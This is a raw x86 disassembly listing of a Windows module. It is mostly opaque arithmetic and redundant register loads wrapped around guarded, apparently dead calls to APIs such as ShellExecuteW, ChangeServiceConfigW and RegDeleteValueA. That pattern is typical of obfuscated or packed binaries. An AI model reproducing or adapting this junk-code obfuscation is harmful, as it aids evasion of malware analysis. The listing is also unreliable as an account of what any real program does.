mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x420]
mov eax, dword [ebp - 0x650]
sub eax, dword [ebp - 0x48]
cmp eax, 8
mov eax, dword [ebp - 0x28]
setl cl
sub ecx, eax
imul eax, ecx, 0x963e
xor ecx, ecx
cmp eax, 0xb100
mov eax, dword [ebp - 0x1c]
setg cl
cmp ecx, 0xcc425f8e
sbb ecx, ecx
neg ecx
sub ecx, eax
mov dword [ebp - 0x420], ecx
mov eax, dword [ebp - 0x2c]
sub ecx, eax
cmp ecx, dword [ebp - 0x18]
jg 0x1002f327
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x30], eax
je 0x1002f329
mov ecx, esi
mov eax, dword [ebp - 0x18]
xor edx, edx
add ecx, 0xffff39a0
cmp ecx, eax
push 0
setge dl
mov dword [ebp - 0x10], edx
inc dword [ebp - 0x40]
dec dword [ebp - 0x24]
pop eax
cmp dword [ebp - 0x24], ebx
jne 0x1002f192
mov dword [ebp - 0x18], 0x1c77dcd
mov dword [ebp - 0x3c], 0xbf118c84
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002f37f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x88], 0xc03342eb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002f367
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002f39f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8c], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002f387
xor eax, eax
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], ebx
jg 0x1002f5e1
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x24], 0xfffffff9
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x40], 3
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002f3ed
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x734], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002f3d8
xor eax, eax
push 2
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x1002f406
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5dc], 0x97736eae
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002f3f5
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002f42a
dec dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x24]
jne 0x1002f42a
mov ecx, eax
jmp 0x1002f42c
mov ecx, esi
mov eax, dword [ebp - 0x8c]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x8c]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
mov edx, 0x36d0
sete cl
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x72c], ecx
neg ecx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp eax, edx
setl cl
cmp ecx, dword [ebp - 0x8c]
jg 0x1002f47e
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x88]
xor eax, eax
mov dword [ebp - 0x8c], eax
mov esi, dword [ebp - 0x28]
neg esi
sbb esi, esi
neg esi
sub esi, dword [ebp - 0x5d8]
mov ecx, dword [ebp - 0x28]
neg esi
mov eax, dword [ebp - 0x28]
sbb esi, esi
xor edx, edx
inc esi
cmp ecx, eax
setne dl
add edx, esi
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x730]
cmp eax, dword [ebp - 0x5dc]
jg 0x1002f4f8
mov ecx, dword [ebp - 0x72c]
mov eax, dword [ebp - 0x40]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, 0xfffffffc
jae 0x1002f4f8
xor esi, esi
inc esi
mov ecx, esi
jmp 0x1002f4ff
xor eax, eax
xor esi, esi
mov ecx, eax
inc esi
mov eax, dword [ebp - 0x28]
add eax, ecx
je 0x1002f511
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002f513
mov eax, esi
jmp 0x1002f513
xor eax, eax
xor edx, edx
cmp eax, 0xe20
mov eax, dword [ebp - 0x40]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, 0xf2ec
cmp ecx, dword [ebp - 0x2c]
jne 0x1002f53b
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x18], eax
je 0x1002f53d
mov edx, esi
mov eax, dword [ebp - 0x5d8]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x8c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x88]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x730]
setg cl
sub eax, ecx
cmp eax, dword [ebp - 0x8c]
jg 0x1002f5af
xor eax, eax
cmp dword [ebp - 0x8c], eax
je 0x1002f5b1
mov dword [ebp - 0x18], 0xfffffff2
jmp 0x1002f5a7
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002f5a4
push 0x94e
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff1
jle 0x1002f587
jmp 0x1002f5cc
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002f5c7
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x8c], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1002f5b6
dec dword [ebp - 0x88]
push 0
pop eax
cmp dword [ebp - 0x88], ebx
jle 0x1002f3b7
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002f5fc
push eax
push 0x1bba
push eax
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x48], 0x89afca86
mov dword [ebp - 0x38], 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002f631
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2f4], 0xaf11
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002f619
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1002f762
or edi, 0xffffffff
mov dword [ebp - 0x2c], 0xe0091df8
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x10], 0x2e6c0b33
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x34], esi
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x48], 0xf47f28a9
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x2f4], esi
je 0x1002f71d
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x3c], 0x10b42b8f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x1002f6c0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x3c], eax
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1002f6b0
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1002f72f
mov dword [ebp - 0x28], eax
jmp 0x1002f711
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002f6e6
push 0x386
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002f70e
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x24d7
push 0x1735
push 0x95c
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002f6cd
dec dword [ebp - 0x2c]
jns 0x1002f6c8
jmp 0x1002f72f
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1002f72d
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1002f749
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002f746
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], eax
jle 0x1002f734
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x1002f640
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x48], 0x89afca86
mov dword [ebp - 0x38], 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002f797
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x300], 0xaf11
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002f77f
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1002f8c8
or edi, 0xffffffff
mov dword [ebp - 0x2c], 0xe0091df8
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x10], 0x2e6c0b33
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x34], esi
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x48], 0xf47f28a9
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x300], esi
je 0x1002f883
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x3c], 0x10b42b8f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x1002f826
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x3c], eax
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1002f816
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1002f895
mov dword [ebp - 0x28], eax
jmp 0x1002f877
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002f84c
push 0x386
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002f874
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x24d7
push 0x1735
push 0x95c
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002f833
dec dword [ebp - 0x2c]
jns 0x1002f82e
jmp 0x1002f895
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1002f893
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1002f8af
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002f8ac
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], eax
jle 0x1002f89a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x1002f7a6
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
push 0xfffffffffffffffe
pop ecx
mov dword [ebp - 0x8dc], ecx
mov dword [ebp - 0x8d8], ecx
mov dword [ebp - 0x8d4], ecx
mov dword [ebp - 0x8d0], ecx
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002f906
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x398], 0x5b57
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002f8ee
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002f926
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x11c], 0xc184c506
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002f90e
xor eax, eax
mov dword [ebp - 0x11c], esi
cmp dword [ebp - 0x11c], eax
jl 0x1002f9ab
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x1002f9a0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x398]
mov eax, dword [ebp - 0x11c]
cmp dword [ebp + eax*4 - 0x398], ecx
jg 0x1002f97b
mov ecx, dword [ebp - 0x394]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x398], ecx
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1002f993
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x1002f993
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1002f993
push eax
push eax
push 0x2000
push eax
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
mov eax, dword [ebp - 0x8d4]
dec dword [ebp - 0x1c]
jns 0x1002f93f
xor eax, eax
dec dword [ebp - 0x11c]
jns 0x1002f934
push 2
pop ecx
mov dword [ebp - 0x18], 0x1c77dcd
mov dword [ebp - 0x3c], 0xbf118c84
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002f9d9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x80], 0xc03342eb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002f9c4
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002f9f9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x84], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002f9e1
xor eax, eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0xffffffeb
jg 0x1002fc1f
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x24], 0xfffffff9
push 3
mov dword [ebp - 0x10], eax
pop edx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002fa39
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6e0], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002fa25
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002fa4f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5e8], 0x97736eae
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002fa3e
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002fa70
dec dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x24]
jne 0x1002fa70
mov ecx, eax
jmp 0x1002fa72
mov ecx, esi
mov eax, dword [ebp - 0x84]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x84]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
mov edx, 0x36d0
sete cl
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x6d8], ecx
neg ecx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp eax, edx
setl cl
cmp ecx, dword [ebp - 0x84]
jg 0x1002fac4
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x80]
xor eax, eax
mov dword [ebp - 0x84], eax
mov esi, dword [ebp - 0x28]
neg esi
sbb esi, esi
neg esi
sub esi, dword [ebp - 0x5e4]
mov ecx, dword [ebp - 0x28]
neg esi
mov eax, dword [ebp - 0x28]
sbb esi, esi
xor edx, edx
inc esi
cmp ecx, eax
setne dl
add edx, esi
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x5e8]
cmp dword [ebp - 0x6dc], eax
jg 0x1002fb3b
mov ecx, dword [ebp - 0x6d8]
mov eax, dword [ebp - 0x40]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, 0xfffffffc
jae 0x1002fb3b
xor esi, esi
inc esi
mov ecx, esi
jmp 0x1002fb42
xor eax, eax
xor esi, esi
mov ecx, eax
inc esi
mov eax, dword [ebp - 0x28]
add eax, ecx
je 0x1002fb54
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002fb56
mov eax, esi
jmp 0x1002fb56
xor eax, eax
xor edx, edx
cmp eax, 0xe20
mov eax, dword [ebp - 0x40]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, 0xf2ec
cmp ecx, dword [ebp - 0x2c]
jne 0x1002fb7e
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x18], eax
je 0x1002fb80
mov edx, esi
mov eax, dword [ebp - 0x5e4]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x84]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x80]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x6dc]
setg cl
sub eax, ecx
cmp eax, dword [ebp - 0x84]
jg 0x1002fbef
xor eax, eax
cmp dword [ebp - 0x84], eax
je 0x1002fbf1
mov dword [ebp - 0x18], 0xfffffff2
jmp 0x1002fbe7
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002fbe4
push 0x94e
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff1
jle 0x1002fbc7
jmp 0x1002fc0c
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002fc07
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x84], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1002fbf6
dec dword [ebp - 0x80]
cmp dword [ebp - 0x80], 0xffffffeb
push 0
pop eax
push 2
pop ecx
jle 0x1002fa06
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002fc34
push eax
push 0x1bba
push eax
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x10], 0xd29be1d9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002fc5d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe30], 0x648261f9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002fc44
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002fc77
push eax
push eax
push 0x1def
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor eax, eax
push 2
pop ecx
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jl 0x1002fc96
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0xe30], 0
jne 0x1002fc94
dec dword [ebp - 0x10]
jns 0x1002fc82
xor eax, eax
mov dword [ebp - 0x18], 0x1c77dcd
mov dword [ebp - 0x3c], 0xbf118c84
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002fcc7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9c], 0xc03342eb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002fcaf
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002fce7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x94], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002fccf
xor eax, eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0xffffffeb
jg 0x1002ff25
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x24], 0xfffffff9
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x40], 3
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002fd30
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x710], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002fd1b
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002fd46
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5f4], 0x97736eae
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002fd35
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002fd6a
dec dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x24]
jne 0x1002fd6a
mov ecx, eax
jmp 0x1002fd6c
mov ecx, esi
mov eax, dword [ebp - 0x94]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x94]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
mov edx, 0x36d0
sete cl
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x708], ecx
neg ecx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp eax, edx
setl cl
cmp ecx, dword [ebp - 0x94]
jg 0x1002fdbe
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x9c]
xor eax, eax
mov dword [ebp - 0x94], eax
mov esi, dword [ebp - 0x28]
neg esi
sbb esi, esi
neg esi
sub esi, dword [ebp - 0x5f0]
mov ecx, dword [ebp - 0x28]
neg esi
mov eax, dword [ebp - 0x28]
sbb esi, esi
xor edx, edx
inc esi
cmp ecx, eax
setne dl
add edx, esi
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x5f4]
cmp dword [ebp - 0x70c], eax
jg 0x1002fe38
mov ecx, dword [ebp - 0x708]
mov eax, dword [ebp - 0x40]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, 0xfffffffc
jae 0x1002fe38
xor esi, esi
inc esi
mov ecx, esi
jmp 0x1002fe3f
xor eax, eax
xor esi, esi
mov ecx, eax
inc esi
mov eax, dword [ebp - 0x28]
add eax, ecx
je 0x1002fe51
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002fe53
mov eax, esi
jmp 0x1002fe53
xor eax, eax
xor edx, edx
cmp eax, 0xe20
mov eax, dword [ebp - 0x40]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, 0xf2ec
cmp ecx, dword [ebp - 0x2c]
jne 0x1002fe7b
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x18], eax
je 0x1002fe7d
mov edx, esi
mov eax, dword [ebp - 0x5f0]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x94]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x9c]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x70c]
setg cl
sub eax, ecx
cmp eax, dword [ebp - 0x94]
jg 0x1002feef
xor eax, eax
cmp dword [ebp - 0x94], eax
je 0x1002fef1
mov dword [ebp - 0x18], 0xfffffff2
jmp 0x1002fee7
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002fee4
push 0x94e
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff1
jle 0x1002fec7
jmp 0x1002ff0c
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002ff07
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x94], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1002fef6
dec dword [ebp - 0x9c]
cmp dword [ebp - 0x9c], 0xffffffeb
push 0
pop eax
push 2
pop ecx
jle 0x1002fcfa
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002ff3a
push eax
push 0x1bba
push eax
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x18], 0xe83c773
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002ff63
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x10f0], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002ff4a
xor eax, eax
push 2
mov dword [ebp - 0x18], eax
pop ebx
jmp 0x1002ff87
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002ff84
push esi
push 0x24d1
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1002ff6b
mov dword [ebp - 0x18], eax
jmp 0x1002ffa6
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002ffa3
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1002ff91
push 0xfffffffffffffffe
pop ecx
mov dword [ebp - 0x9dc], ecx
mov dword [ebp - 0x9d8], ecx
mov dword [ebp - 0x9d4], ecx
mov dword [ebp - 0x9d0], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002ffe6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x390], 0x5b57
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002ffce
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10030006
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x114], 0xc184c506
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002ffee
xor eax, eax
mov dword [ebp - 0x114], esi
cmp dword [ebp - 0x114], eax
jl 0x10030088
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x10030080
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x390]
mov eax, dword [ebp - 0x114]
cmp dword [ebp + eax*4 - 0x390], ecx
jg 0x1003005b
mov ecx, dword [ebp - 0x38c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x390], ecx
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10030073
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x10030073
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10030073
push eax
push eax
push 0x2000
push eax
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
mov eax, dword [ebp - 0x9d4]
dec dword [ebp - 0x1c]
jns 0x1003001f
xor eax, eax
dec dword [ebp - 0x114]
jns 0x10030014
mov dword [ebp - 0x2c], eax
